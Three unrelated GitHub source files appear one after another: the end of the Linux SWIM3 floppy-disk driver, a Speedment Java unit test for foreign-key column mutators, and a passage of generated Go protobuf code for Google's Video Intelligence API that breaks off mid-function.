++fs->retries; act(fs); } else { swim3_err("Error %sing block %ld (err=%x)\n", rq_data_dir(req) == WRITE? "writ": "read", (long)blk_rq_pos(req), err); swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; } } else { if ((stat & ACTIVE) == 0 || resid != 0) { /* musta been an error */ swim3_err("fd dma error: stat=%x resid=%d\n", stat, resid); swim3_err(" state=%d, dir=%x, intr=%x, err=%x\n", fs->state, rq_data_dir(req), intr, err); swim3_end_request(fs, BLK_STS_IOERR, 0); fs->state = idle; start_request(fs); break; } fs->retries = 0; if (swim3_end_request(fs, 0, fs->scount << 9)) { fs->req_sector += fs->scount; if (fs->req_sector > fs->secpertrack) { fs->req_sector -= fs->secpertrack; if (++fs->head > 1) { fs->head = 0; ++fs->req_cyl; } } act(fs); } else fs->state = idle; } if (fs->state == idle) start_request(fs); break; default: swim3_err("Don't know what to do in state %d\n", fs->state); } spin_unlock_irqrestore(&swim3_lock, flags); return IRQ_HANDLED; } /* static void fd_dma_interrupt(int irq, void *dev_id) { } */ /* Called under the mutex to grab exclusive access to a drive */ static int grab_drive(struct floppy_state *fs, enum swim_state state, int interruptible) { unsigned long flags; swim3_dbg("%s", "-> grab drive\n"); spin_lock_irqsave(&swim3_lock, flags); if (fs->state != idle && fs->state != available) { ++fs->wanted; /* this will enable irqs in order to sleep */ if (!interruptible) wait_event_lock_irq(fs->wait, fs->state == available, swim3_lock); else if (wait_event_interruptible_lock_irq(fs->wait, fs->state == available, swim3_lock)) { --fs->wanted; spin_unlock_irqrestore(&swim3_lock, flags); return -EINTR; } --fs->wanted; } fs->state = state; spin_unlock_irqrestore(&swim3_lock, flags); return 0; } static void release_drive(struct floppy_state *fs) { unsigned long flags; swim3_dbg("%s", "-> release drive\n"); spin_lock_irqsave(&swim3_lock, flags); fs->state = idle; start_request(fs); spin_unlock_irqrestore(&swim3_lock, flags); } static int fd_eject(struct floppy_state *fs) { int err, n; err = grab_drive(fs, ejecting, 1); if (err) return err; swim3_action(fs, EJECT); for (n = 20; n > 0; --n) { if (signal_pending(current)) { err = -EINTR; break; } swim3_select(fs, RELAX); schedule_timeout_interruptible(1); if (swim3_readbit(fs, DISK_IN) == 0) break; } swim3_select(fs, RELAX); udelay(150); fs->ejected = 1; release_drive(fs); return err; } static struct floppy_struct floppy_type = { 2880,18,2,80,0,0x1B,0x00,0xCF,0x6C,NULL }; /* 7 1.44MB 3.5" */ static int floppy_locked_ioctl(struct block_device *bdev, fmode_t mode, unsigned int cmd, unsigned long param) { struct floppy_state *fs = bdev->bd_disk->private_data; int err; if ((cmd & 0x80) && !capable(CAP_SYS_ADMIN)) return -EPERM; if (fs->mdev->media_bay && check_media_bay(fs->mdev->media_bay) != MB_FD) return -ENXIO; switch (cmd) { case FDEJECT: if (fs->ref_count != 1) return -EBUSY; err = fd_eject(fs); return err; case FDGETPRM: if (copy_to_user((void __user *) param, &floppy_type, sizeof(struct floppy_struct))) return -EFAULT; return 0; } return -ENOTTY; } static int floppy_ioctl(struct block_device *bdev, fmode_t mode, unsigned int cmd, unsigned long param) { int ret; mutex_lock(&swim3_mutex); ret = floppy_locked_ioctl(bdev, mode, cmd, param); mutex_unlock(&swim3_mutex); return ret; } static int floppy_open(struct block_device *bdev, fmode_t mode) { struct floppy_state *fs = bdev->bd_disk->private_data; struct swim3 __iomem *sw = fs->swim3; int n, err = 0; if (fs->ref_count == 0) { if (fs->mdev->media_bay && check_media_bay(fs->mdev->media_bay) != MB_FD) return -ENXIO; out_8(&sw->setup, S_IBM_DRIVE | S_FCLK_DIV2); out_8(&sw->control_bic, 0xff); out_8(&sw->mode, 0x95); udelay(10); out_8(&sw->intr_enable, 0); out_8(&sw->control_bis, DRIVE_ENABLE | INTR_ENABLE); swim3_action(fs, MOTOR_ON); fs->write_prot = -1; fs->cur_cyl = -1; for (n = 0; n < 2 * HZ; ++n) { if (n >= HZ/30 && swim3_readbit(fs, SEEK_COMPLETE)) break; if (signal_pending(current)) { err = -EINTR; break; } swim3_select(fs, RELAX); schedule_timeout_interruptible(1); } if (err == 0 && (swim3_readbit(fs, SEEK_COMPLETE) == 0 || swim3_readbit(fs, DISK_IN) == 0)) err = -ENXIO; swim3_action(fs, SETMFM); swim3_select(fs, RELAX); } else if (fs->ref_count == -1 || mode & FMODE_EXCL) return -EBUSY; if (err == 0 && (mode & FMODE_NDELAY) == 0 && (mode & (FMODE_READ|FMODE_WRITE))) { check_disk_change(bdev); if (fs->ejected) err = -ENXIO; } if (err == 0 && (mode & FMODE_WRITE)) { if (fs->write_prot < 0) fs->write_prot = swim3_readbit(fs, WRITE_PROT); if (fs->write_prot) err = -EROFS; } if (err) { if (fs->ref_count == 0) { swim3_action(fs, MOTOR_OFF); out_8(&sw->control_bic, DRIVE_ENABLE | INTR_ENABLE); swim3_select(fs, RELAX); } return err; } if (mode & FMODE_EXCL) fs->ref_count = -1; else ++fs->ref_count; return 0; } static int floppy_unlocked_open(struct block_device *bdev, fmode_t mode) { int ret; mutex_lock(&swim3_mutex); ret = floppy_open(bdev, mode); mutex_unlock(&swim3_mutex); return ret; } static void floppy_release(struct gendisk *disk, fmode_t mode) { struct floppy_state *fs = disk->private_data; struct swim3 __iomem *sw = fs->swim3; mutex_lock(&swim3_mutex); if (fs->ref_count > 0 && --fs->ref_count == 0) { swim3_action(fs, MOTOR_OFF); out_8(&sw->control_bic, 0xff); swim3_select(fs, RELAX); } mutex_unlock(&swim3_mutex); } static unsigned int floppy_check_events(struct gendisk *disk, unsigned int clearing) { struct floppy_state *fs = disk->private_data; return fs->ejected ? DISK_EVENT_MEDIA_CHANGE : 0; } static int floppy_revalidate(struct gendisk *disk) { struct floppy_state *fs = disk->private_data; struct swim3 __iomem *sw; int ret, n; if (fs->mdev->media_bay && check_media_bay(fs->mdev->media_bay) != MB_FD) return -ENXIO; sw = fs->swim3; grab_drive(fs, revalidating, 0); out_8(&sw->intr_enable, 0); out_8(&sw->control_bis, DRIVE_ENABLE); swim3_action(fs, MOTOR_ON); /* necessary? */ fs->write_prot = -1; fs->cur_cyl = -1; mdelay(1); for (n = HZ; n > 0; --n) { if (swim3_readbit(fs, SEEK_COMPLETE)) break; if (signal_pending(current)) break; swim3_select(fs, RELAX); schedule_timeout_interruptible(1); } ret = swim3_readbit(fs, SEEK_COMPLETE) == 0 || swim3_readbit(fs, DISK_IN) == 0; if (ret) swim3_action(fs, MOTOR_OFF); else { fs->ejected = 0; swim3_action(fs, SETMFM); } swim3_select(fs, RELAX); release_drive(fs); return ret; } static const struct block_device_operations floppy_fops = { .open = floppy_unlocked_open, .release = floppy_release, .ioctl = floppy_ioctl, .check_events = floppy_check_events, .revalidate_disk= floppy_revalidate, }; static void swim3_mb_event(struct macio_dev* mdev, int mb_state) { struct floppy_state *fs = macio_get_drvdata(mdev); struct swim3 __iomem *sw; if (!fs) return; sw = fs->swim3; if (mb_state != MB_FD) return; /* Clear state */ out_8(&sw->intr_enable, 0); in_8(&sw->intr); in_8(&sw->error); } static int swim3_add_device(struct macio_dev *mdev, int index) { struct device_node *swim = mdev->ofdev.dev.of_node; struct floppy_state *fs = &floppy_states[index]; int rc = -EBUSY; /* Do this first for message macros */ memset(fs, 0, sizeof(*fs)); fs->mdev = mdev; fs->index = index; /* Check & Request resources */ if (macio_resource_count(mdev) < 2) { swim3_err("%s", "No address in device-tree\n"); return -ENXIO; } if (macio_irq_count(mdev) < 1) { swim3_err("%s", "No interrupt in device-tree\n"); return -ENXIO; } if (macio_request_resource(mdev, 0, "swim3 (mmio)")) { swim3_err("%s", "Can't request mmio resource\n"); return -EBUSY; } if (macio_request_resource(mdev, 1, "swim3 (dma)")) { swim3_err("%s", "Can't request dma resource\n"); macio_release_resource(mdev, 0); return -EBUSY; } dev_set_drvdata(&mdev->ofdev.dev, fs); if (mdev->media_bay == NULL) pmac_call_feature(PMAC_FTR_SWIM3_ENABLE, swim, 0, 1); fs->state = idle; fs->swim3 = (struct swim3 __iomem *) ioremap(macio_resource_start(mdev, 0), 0x200); if (fs->swim3 == NULL) { swim3_err("%s", "Couldn't map mmio registers\n"); rc = -ENOMEM; goto out_release; } fs->dma = (struct dbdma_regs __iomem *) ioremap(macio_resource_start(mdev, 1), 0x200); if (fs->dma == NULL) { swim3_err("%s", "Couldn't map dma registers\n"); iounmap(fs->swim3); rc = -ENOMEM; goto out_release; } fs->swim3_intr = macio_irq(mdev, 0); fs->dma_intr = macio_irq(mdev, 1); fs->cur_cyl = -1; fs->cur_sector = -1; fs->secpercyl = 36; fs->secpertrack = 18; fs->total_secs = 2880; init_waitqueue_head(&fs->wait); fs->dma_cmd = (struct dbdma_cmd *) DBDMA_ALIGN(fs->dbdma_cmd_space); memset(fs->dma_cmd, 0, 2 * sizeof(struct dbdma_cmd)); fs->dma_cmd[1].command = cpu_to_le16(DBDMA_STOP); if (mdev->media_bay == NULL || check_media_bay(mdev->media_bay) == MB_FD) swim3_mb_event(mdev, MB_FD); if (request_irq(fs->swim3_intr, swim3_interrupt, 0, "SWIM3", fs)) { swim3_err("%s", "Couldn't request interrupt\n"); pmac_call_feature(PMAC_FTR_SWIM3_ENABLE, swim, 0, 0); goto out_unmap; return -EBUSY; } init_timer(&fs->timeout); swim3_info("SWIM3 floppy controller %s\n", mdev->media_bay ? "in media bay" : ""); return 0; out_unmap: iounmap(fs->dma); iounmap(fs->swim3); out_release: macio_release_resource(mdev, 0); macio_release_resource(mdev, 1); return rc; } static int swim3_attach(struct macio_dev *mdev, const struct of_device_id *match) { struct gendisk *disk; int index, rc; index = floppy_count++; if (index >= MAX_FLOPPIES) return -ENXIO; /* Add the drive */ rc = swim3_add_device(mdev, index); if (rc) return rc; /* Now register that disk. Same comment about failure handling */ disk = disks[index] = alloc_disk(1); if (disk == NULL) return -ENOMEM; disk->queue = blk_init_queue(do_fd_request, &swim3_lock); if (disk->queue == NULL) { put_disk(disk); return -ENOMEM; } blk_queue_bounce_limit(disk->queue, BLK_BOUNCE_HIGH); disk->queue->queuedata = &floppy_states[index]; if (index == 0) { /* If we failed, there isn't much we can do as the driver is still * too dumb to remove the device, just bail out */ if (register_blkdev(FLOPPY_MAJOR, "fd")) return 0; } disk->major = FLOPPY_MAJOR; disk->first_minor = index; disk->fops = &floppy_fops; disk->private_data = &floppy_states[index]; disk->flags |= GENHD_FL_REMOVABLE; sprintf(disk->disk_name, "fd%d", index); set_capacity(disk, 2880); add_disk(disk); return 0; } static const struct of_device_id swim3_match[] = { { .name = "swim3", }, { .compatible = "ohare-swim3" }, { .compatible = "swim3" }, { /* end of list */ } }; static struct macio_driver swim3_driver = { .driver = { .name = "swim3", .of_match_table = swim3_match, }, .probe = swim3_attach, #ifdef CONFIG_PMAC_MEDIABAY .mediabay_event = swim3_mb_event, #endif #if 0 .suspend = swim3_suspend, .resume = swim3_resume, #endif }; int swim3_init(void) { macio_register_driver(&swim3_driver); return 0; } module_init(swim3_init) MODULE_LICENSE("GPL"); MODULE_AUTHOR("Paul Mackerras"); MODULE_ALIAS_BLOCKDEV_MAJOR(FLOPPY_MAJOR);
{ "pile_set_name": "Github" }
/* * * Copyright (c) 2006-2020, Speedment, Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); You may not * use this file except in compliance with the License. You may obtain a copy of * the License at: * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. */ package com.speedment.runtime.config.mutator; import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; import com.speedment.runtime.config.ForeignKeyColumn; import com.speedment.runtime.config.mutator.trait.HasIdMutatorMixin; import com.speedment.runtime.config.mutator.trait.HasNameMutatorMixin; import com.speedment.runtime.config.mutator.trait.HasOrdinalPositionMutatorMixin; import org.junit.jupiter.api.Test; import java.util.HashMap; final class ForeignKeyColumnMutatorTest implements HasIdMutatorMixin<ForeignKeyColumn, ForeignKeyColumnMutator<ForeignKeyColumn>>, HasNameMutatorMixin<ForeignKeyColumn, ForeignKeyColumnMutator<ForeignKeyColumn>>, HasOrdinalPositionMutatorMixin<ForeignKeyColumn, ForeignKeyColumnMutator<ForeignKeyColumn>> { @Override @SuppressWarnings("unchecked") public ForeignKeyColumnMutator<ForeignKeyColumn> getMutatorInstance() { return (ForeignKeyColumnMutator<ForeignKeyColumn>) ForeignKeyColumn.create(null, new HashMap<>()).mutator(); } @Test void setForeignTableName() { assertDoesNotThrow(() -> getMutatorInstance().setForeignTableName("table")); } @Test void setForeignColumnName() { assertDoesNotThrow(() -> getMutatorInstance().setForeignColumnName("column")); } @Test void setForeignDatabaseName() { assertDoesNotThrow(() -> getMutatorInstance().setForeignDatabaseName("database")); } @Test void setForeignSchemaName() { assertDoesNotThrow(() -> getMutatorInstance().setForeignSchemaName("table")); } }
{ "pile_set_name": "Github" }
// Code generated by protoc-gen-go. DO NOT EDIT. // source: google/cloud/videointelligence/v1p1beta1/video_intelligence.proto package videointelligence import ( fmt "fmt" proto "github.com/golang/protobuf/proto" duration "github.com/golang/protobuf/ptypes/duration" timestamp "github.com/golang/protobuf/ptypes/timestamp" _ "google.golang.org/genproto/googleapis/api/annotations" longrunning "google.golang.org/genproto/googleapis/longrunning" status "google.golang.org/genproto/googleapis/rpc/status" math "math" ) import ( context "golang.org/x/net/context" grpc "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package // Video annotation feature. type Feature int32 const ( // Unspecified. Feature_FEATURE_UNSPECIFIED Feature = 0 // Label detection. Detect objects, such as dog or flower. Feature_LABEL_DETECTION Feature = 1 // Shot change detection. Feature_SHOT_CHANGE_DETECTION Feature = 2 // Explicit content detection. Feature_EXPLICIT_CONTENT_DETECTION Feature = 3 // Speech transcription. Feature_SPEECH_TRANSCRIPTION Feature = 6 ) var Feature_name = map[int32]string{ 0: "FEATURE_UNSPECIFIED", 1: "LABEL_DETECTION", 2: "SHOT_CHANGE_DETECTION", 3: "EXPLICIT_CONTENT_DETECTION", 6: "SPEECH_TRANSCRIPTION", } var Feature_value = map[string]int32{ "FEATURE_UNSPECIFIED": 0, "LABEL_DETECTION": 1, "SHOT_CHANGE_DETECTION": 2, "EXPLICIT_CONTENT_DETECTION": 3, "SPEECH_TRANSCRIPTION": 6, } func (x Feature) String() string { return proto.EnumName(Feature_name, int32(x)) } func (Feature) EnumDescriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{0} } // Label detection mode. type LabelDetectionMode int32 const ( // Unspecified. LabelDetectionMode_LABEL_DETECTION_MODE_UNSPECIFIED LabelDetectionMode = 0 // Detect shot-level labels. LabelDetectionMode_SHOT_MODE LabelDetectionMode = 1 // Detect frame-level labels. LabelDetectionMode_FRAME_MODE LabelDetectionMode = 2 // Detect both shot-level and frame-level labels. LabelDetectionMode_SHOT_AND_FRAME_MODE LabelDetectionMode = 3 ) var LabelDetectionMode_name = map[int32]string{ 0: "LABEL_DETECTION_MODE_UNSPECIFIED", 1: "SHOT_MODE", 2: "FRAME_MODE", 3: "SHOT_AND_FRAME_MODE", } var LabelDetectionMode_value = map[string]int32{ "LABEL_DETECTION_MODE_UNSPECIFIED": 0, "SHOT_MODE": 1, "FRAME_MODE": 2, "SHOT_AND_FRAME_MODE": 3, } func (x LabelDetectionMode) String() string { return proto.EnumName(LabelDetectionMode_name, int32(x)) } func (LabelDetectionMode) EnumDescriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{1} } // Bucketized representation of likelihood. type Likelihood int32 const ( // Unspecified likelihood. Likelihood_LIKELIHOOD_UNSPECIFIED Likelihood = 0 // Very unlikely. Likelihood_VERY_UNLIKELY Likelihood = 1 // Unlikely. Likelihood_UNLIKELY Likelihood = 2 // Possible. Likelihood_POSSIBLE Likelihood = 3 // Likely. Likelihood_LIKELY Likelihood = 4 // Very likely. Likelihood_VERY_LIKELY Likelihood = 5 ) var Likelihood_name = map[int32]string{ 0: "LIKELIHOOD_UNSPECIFIED", 1: "VERY_UNLIKELY", 2: "UNLIKELY", 3: "POSSIBLE", 4: "LIKELY", 5: "VERY_LIKELY", } var Likelihood_value = map[string]int32{ "LIKELIHOOD_UNSPECIFIED": 0, "VERY_UNLIKELY": 1, "UNLIKELY": 2, "POSSIBLE": 3, "LIKELY": 4, "VERY_LIKELY": 5, } func (x Likelihood) String() string { return proto.EnumName(Likelihood_name, int32(x)) } func (Likelihood) EnumDescriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{2} } // Video annotation request. type AnnotateVideoRequest struct { // Input video location. Currently, only // [Google Cloud Storage](https://cloud.google.com/storage/) URIs are // supported, which must be specified in the following format: // `gs://bucket-id/object-id` (other URI formats return // [google.rpc.Code.INVALID_ARGUMENT][google.rpc.Code.INVALID_ARGUMENT]). For more information, see // [Request URIs](/storage/docs/reference-uris). // A video URI may include wildcards in `object-id`, and thus identify // multiple videos. Supported wildcards: '*' to match 0 or more characters; // '?' to match 1 character. If unset, the input video should be embedded // in the request as `input_content`. If set, `input_content` should be unset. InputUri string `protobuf:"bytes,1,opt,name=input_uri,json=inputUri,proto3" json:"input_uri,omitempty"` // The video data bytes. // If unset, the input video(s) should be specified via `input_uri`. // If set, `input_uri` should be unset. InputContent []byte `protobuf:"bytes,6,opt,name=input_content,json=inputContent,proto3" json:"input_content,omitempty"` // Requested video annotation features. Features []Feature `protobuf:"varint,2,rep,packed,name=features,proto3,enum=google.cloud.videointelligence.v1p1beta1.Feature" json:"features,omitempty"` // Additional video context and/or feature-specific parameters. VideoContext *VideoContext `protobuf:"bytes,3,opt,name=video_context,json=videoContext,proto3" json:"video_context,omitempty"` // Optional location where the output (in JSON format) should be stored. // Currently, only [Google Cloud Storage](https://cloud.google.com/storage/) // URIs are supported, which must be specified in the following format: // `gs://bucket-id/object-id` (other URI formats return // [google.rpc.Code.INVALID_ARGUMENT][google.rpc.Code.INVALID_ARGUMENT]). For more information, see // [Request URIs](/storage/docs/reference-uris). OutputUri string `protobuf:"bytes,4,opt,name=output_uri,json=outputUri,proto3" json:"output_uri,omitempty"` // Optional cloud region where annotation should take place. Supported cloud // regions: `us-east1`, `us-west1`, `europe-west1`, `asia-east1`. If no region // is specified, a region will be determined based on video file location. LocationId string `protobuf:"bytes,5,opt,name=location_id,json=locationId,proto3" json:"location_id,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *AnnotateVideoRequest) Reset() { *m = AnnotateVideoRequest{} } func (m *AnnotateVideoRequest) String() string { return proto.CompactTextString(m) } func (*AnnotateVideoRequest) ProtoMessage() {} func (*AnnotateVideoRequest) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{0} } func (m *AnnotateVideoRequest) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_AnnotateVideoRequest.Unmarshal(m, b) } func (m *AnnotateVideoRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_AnnotateVideoRequest.Marshal(b, m, deterministic) } func (m *AnnotateVideoRequest) XXX_Merge(src proto.Message) { xxx_messageInfo_AnnotateVideoRequest.Merge(m, src) } func (m *AnnotateVideoRequest) XXX_Size() int { return xxx_messageInfo_AnnotateVideoRequest.Size(m) } func (m *AnnotateVideoRequest) XXX_DiscardUnknown() { xxx_messageInfo_AnnotateVideoRequest.DiscardUnknown(m) } var xxx_messageInfo_AnnotateVideoRequest proto.InternalMessageInfo func (m *AnnotateVideoRequest) GetInputUri() string { if m != nil { return m.InputUri } return "" } func (m *AnnotateVideoRequest) GetInputContent() []byte { if m != nil { return m.InputContent } return nil } func (m *AnnotateVideoRequest) GetFeatures() []Feature { if m != nil { return m.Features } return nil } func (m *AnnotateVideoRequest) GetVideoContext() *VideoContext { if m != nil { return m.VideoContext } return nil } func (m *AnnotateVideoRequest) GetOutputUri() string { if m != nil { return m.OutputUri } return "" } func (m *AnnotateVideoRequest) GetLocationId() string { if m != nil { return m.LocationId } return "" } // Video context and/or feature-specific parameters. type VideoContext struct { // Video segments to annotate. The segments may overlap and are not required // to be contiguous or span the whole video. If unspecified, each video is // treated as a single segment. Segments []*VideoSegment `protobuf:"bytes,1,rep,name=segments,proto3" json:"segments,omitempty"` // Config for LABEL_DETECTION. LabelDetectionConfig *LabelDetectionConfig `protobuf:"bytes,2,opt,name=label_detection_config,json=labelDetectionConfig,proto3" json:"label_detection_config,omitempty"` // Config for SHOT_CHANGE_DETECTION. ShotChangeDetectionConfig *ShotChangeDetectionConfig `protobuf:"bytes,3,opt,name=shot_change_detection_config,json=shotChangeDetectionConfig,proto3" json:"shot_change_detection_config,omitempty"` // Config for EXPLICIT_CONTENT_DETECTION. ExplicitContentDetectionConfig *ExplicitContentDetectionConfig `protobuf:"bytes,4,opt,name=explicit_content_detection_config,json=explicitContentDetectionConfig,proto3" json:"explicit_content_detection_config,omitempty"` // Config for SPEECH_TRANSCRIPTION. SpeechTranscriptionConfig *SpeechTranscriptionConfig `protobuf:"bytes,6,opt,name=speech_transcription_config,json=speechTranscriptionConfig,proto3" json:"speech_transcription_config,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *VideoContext) Reset() { *m = VideoContext{} } func (m *VideoContext) String() string { return proto.CompactTextString(m) } func (*VideoContext) ProtoMessage() {} func (*VideoContext) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{1} } func (m *VideoContext) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_VideoContext.Unmarshal(m, b) } func (m *VideoContext) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_VideoContext.Marshal(b, m, deterministic) } func (m *VideoContext) XXX_Merge(src proto.Message) { xxx_messageInfo_VideoContext.Merge(m, src) } func (m *VideoContext) XXX_Size() int { return xxx_messageInfo_VideoContext.Size(m) } func (m *VideoContext) XXX_DiscardUnknown() { xxx_messageInfo_VideoContext.DiscardUnknown(m) } var xxx_messageInfo_VideoContext proto.InternalMessageInfo func (m *VideoContext) GetSegments() []*VideoSegment { if m != nil { return m.Segments } return nil } func (m *VideoContext) GetLabelDetectionConfig() *LabelDetectionConfig { if m != nil { return m.LabelDetectionConfig } return nil } func (m *VideoContext) GetShotChangeDetectionConfig() *ShotChangeDetectionConfig { if m != nil { return m.ShotChangeDetectionConfig } return nil } func (m *VideoContext) GetExplicitContentDetectionConfig() *ExplicitContentDetectionConfig { if m != nil { return m.ExplicitContentDetectionConfig } return nil } func (m *VideoContext) GetSpeechTranscriptionConfig() *SpeechTranscriptionConfig { if m != nil { return m.SpeechTranscriptionConfig } return nil } // Config for LABEL_DETECTION. type LabelDetectionConfig struct { // What labels should be detected with LABEL_DETECTION, in addition to // video-level labels or segment-level labels. // If unspecified, defaults to `SHOT_MODE`. LabelDetectionMode LabelDetectionMode `protobuf:"varint,1,opt,name=label_detection_mode,json=labelDetectionMode,proto3,enum=google.cloud.videointelligence.v1p1beta1.LabelDetectionMode" json:"label_detection_mode,omitempty"` // Whether the video has been shot from a stationary (i.e. non-moving) camera. // When set to true, might improve detection accuracy for moving objects. // Should be used with `SHOT_AND_FRAME_MODE` enabled. StationaryCamera bool `protobuf:"varint,2,opt,name=stationary_camera,json=stationaryCamera,proto3" json:"stationary_camera,omitempty"` // Model to use for label detection. // Supported values: "builtin/stable" (the default if unset) and // "builtin/latest". Model string `protobuf:"bytes,3,opt,name=model,proto3" json:"model,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *LabelDetectionConfig) Reset() { *m = LabelDetectionConfig{} } func (m *LabelDetectionConfig) String() string { return proto.CompactTextString(m) } func (*LabelDetectionConfig) ProtoMessage() {} func (*LabelDetectionConfig) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{2} } func (m *LabelDetectionConfig) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_LabelDetectionConfig.Unmarshal(m, b) } func (m *LabelDetectionConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_LabelDetectionConfig.Marshal(b, m, deterministic) } func (m *LabelDetectionConfig) XXX_Merge(src proto.Message) { xxx_messageInfo_LabelDetectionConfig.Merge(m, src) } func (m *LabelDetectionConfig) XXX_Size() int { return xxx_messageInfo_LabelDetectionConfig.Size(m) } func (m *LabelDetectionConfig) XXX_DiscardUnknown() { xxx_messageInfo_LabelDetectionConfig.DiscardUnknown(m) } var xxx_messageInfo_LabelDetectionConfig proto.InternalMessageInfo func (m *LabelDetectionConfig) GetLabelDetectionMode() LabelDetectionMode { if m != nil { return m.LabelDetectionMode } return LabelDetectionMode_LABEL_DETECTION_MODE_UNSPECIFIED } func (m *LabelDetectionConfig) GetStationaryCamera() bool { if m != nil { return m.StationaryCamera } return false } func (m *LabelDetectionConfig) GetModel() string { if m != nil { return m.Model } return "" } // Config for SHOT_CHANGE_DETECTION. type ShotChangeDetectionConfig struct { // Model to use for shot change detection. // Supported values: "builtin/stable" (the default if unset) and // "builtin/latest". Model string `protobuf:"bytes,1,opt,name=model,proto3" json:"model,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *ShotChangeDetectionConfig) Reset() { *m = ShotChangeDetectionConfig{} } func (m *ShotChangeDetectionConfig) String() string { return proto.CompactTextString(m) } func (*ShotChangeDetectionConfig) ProtoMessage() {} func (*ShotChangeDetectionConfig) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{3} } func (m *ShotChangeDetectionConfig) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_ShotChangeDetectionConfig.Unmarshal(m, b) } func (m *ShotChangeDetectionConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_ShotChangeDetectionConfig.Marshal(b, m, deterministic) } func (m *ShotChangeDetectionConfig) XXX_Merge(src proto.Message) { xxx_messageInfo_ShotChangeDetectionConfig.Merge(m, src) } func (m *ShotChangeDetectionConfig) XXX_Size() int { return xxx_messageInfo_ShotChangeDetectionConfig.Size(m) } func (m *ShotChangeDetectionConfig) XXX_DiscardUnknown() { xxx_messageInfo_ShotChangeDetectionConfig.DiscardUnknown(m) } var xxx_messageInfo_ShotChangeDetectionConfig proto.InternalMessageInfo func (m *ShotChangeDetectionConfig) GetModel() string { if m != nil { return m.Model } return "" } // Config for EXPLICIT_CONTENT_DETECTION. type ExplicitContentDetectionConfig struct { // Model to use for explicit content detection. // Supported values: "builtin/stable" (the default if unset) and // "builtin/latest". Model string `protobuf:"bytes,1,opt,name=model,proto3" json:"model,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *ExplicitContentDetectionConfig) Reset() { *m = ExplicitContentDetectionConfig{} } func (m *ExplicitContentDetectionConfig) String() string { return proto.CompactTextString(m) } func (*ExplicitContentDetectionConfig) ProtoMessage() {} func (*ExplicitContentDetectionConfig) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{4} } func (m *ExplicitContentDetectionConfig) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_ExplicitContentDetectionConfig.Unmarshal(m, b) } func (m *ExplicitContentDetectionConfig) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_ExplicitContentDetectionConfig.Marshal(b, m, deterministic) } func (m *ExplicitContentDetectionConfig) XXX_Merge(src proto.Message) { xxx_messageInfo_ExplicitContentDetectionConfig.Merge(m, src) } func (m *ExplicitContentDetectionConfig) XXX_Size() int { return xxx_messageInfo_ExplicitContentDetectionConfig.Size(m) } func (m *ExplicitContentDetectionConfig) XXX_DiscardUnknown() { xxx_messageInfo_ExplicitContentDetectionConfig.DiscardUnknown(m) } var xxx_messageInfo_ExplicitContentDetectionConfig proto.InternalMessageInfo func (m *ExplicitContentDetectionConfig) GetModel() string { if m != nil { return m.Model } return "" } // Video segment. type VideoSegment struct { // Time-offset, relative to the beginning of the video, // corresponding to the start of the segment (inclusive). StartTimeOffset *duration.Duration `protobuf:"bytes,1,opt,name=start_time_offset,json=startTimeOffset,proto3" json:"start_time_offset,omitempty"` // Time-offset, relative to the beginning of the video, // corresponding to the end of the segment (inclusive). EndTimeOffset *duration.Duration `protobuf:"bytes,2,opt,name=end_time_offset,json=endTimeOffset,proto3" json:"end_time_offset,omitempty"` XXX_NoUnkeyedLiteral struct{} `json:"-"` XXX_unrecognized []byte `json:"-"` XXX_sizecache int32 `json:"-"` } func (m *VideoSegment) Reset() { *m = VideoSegment{} } func (m *VideoSegment) String() string { return proto.CompactTextString(m) } func (*VideoSegment) ProtoMessage() {} func (*VideoSegment) Descriptor() ([]byte, []int) { return fileDescriptor_9e6ec0147460ac77, []int{5} } func (m *VideoSegment) XXX_Unmarshal(b []byte) error { return xxx_messageInfo_VideoSegment.Unmarshal(m, b) } func (m *VideoSegment) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) { return xxx_messageInfo_VideoSegment.Marshal(b, m, deterministic) } func (m *VideoSegment) XXX_Merge(src proto.Message) { 